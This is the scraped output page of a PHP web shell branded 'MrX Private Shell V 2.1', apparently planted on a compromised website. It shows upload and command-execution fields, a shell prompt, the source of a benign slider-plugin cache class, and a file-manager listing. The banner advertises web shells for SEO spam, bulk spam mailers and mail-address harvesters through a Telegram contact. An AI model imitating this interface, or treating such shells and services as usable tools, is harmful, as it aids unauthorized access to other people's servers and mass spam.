__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php


namespace Nextend\Framework\Cache\Storage;


class Filesystem extends AbstractStorage {

    public function __construct() {
        $this->paths['web']    = \Nextend\Framework\Filesystem\Filesystem::getWebCachePath();
        $this->paths['notweb'] = \Nextend\Framework\Filesystem\Filesystem::getNotWebCachePath();
        $this->paths['image']  = \Nextend\Framework\Filesystem\Filesystem::getImagesFolder();
    }

    public function isFilesystem() {
        return true;
    }

    public function clearAll($scope = 'notweb') {
        if (\Nextend\Framework\Filesystem\Filesystem::existsFolder($this->paths[$scope])) {
            \Nextend\Framework\Filesystem\Filesystem::deleteFolder($this->paths[$scope]);
        }
    }

    public function clear($group, $scope = 'notweb') {

        if (\Nextend\Framework\Filesystem\Filesystem::existsFolder($this->paths[$scope] . '/' . $group)) {
            \Nextend\Framework\Filesystem\Filesystem::deleteFolder($this->paths[$scope] . '/' . $group);
        }
    }

    public function exists($group, $key, $scope = 'notweb') {
        if (\Nextend\Framework\Filesystem\Filesystem::existsFile($this->paths[$scope] . '/' . $group . '/' . $key)) {
            return true;
        }

        return false;
    }

    public function set($group, $key, $value, $scope = 'notweb') {
        $path = $this->paths[$scope] . '/' . $group . '/' . $key;
        $dir  = dirname($path);
        if (!\Nextend\Framework\Filesystem\Filesystem::existsFolder($dir)) {
            \Nextend\Framework\Filesystem\Filesystem::createFolder($dir);
        }
        \Nextend\Framework\Filesystem\Filesystem::createFile($path, $value);
    }

    public function get($group, $key, $scope = 'notweb') {
        return \Nextend\Framework\Filesystem\Filesystem::readFile($this->paths[$scope] . '/' . $group . '/' . $key);
    }

    public function remove($group, $key, $scope = 'notweb') {
        if ($this->exists($group, $key, $scope)) {
            @unlink($this->paths[$scope] . '/' . $group . '/' . $key);
        }
    }

    public function getPath($group, $key, $scope = 'notweb') {
        return $this->paths[$scope] . DIRECTORY_SEPARATOR . $group . DIRECTORY_SEPARATOR . $key;
    }
}

Filemanager

Name Type Size Permission Actions
AbstractStorage.php File 667 B 0664
Database.php File 1.32 KB 0664
Filesystem.php File 2.18 KB 0664
Filemanager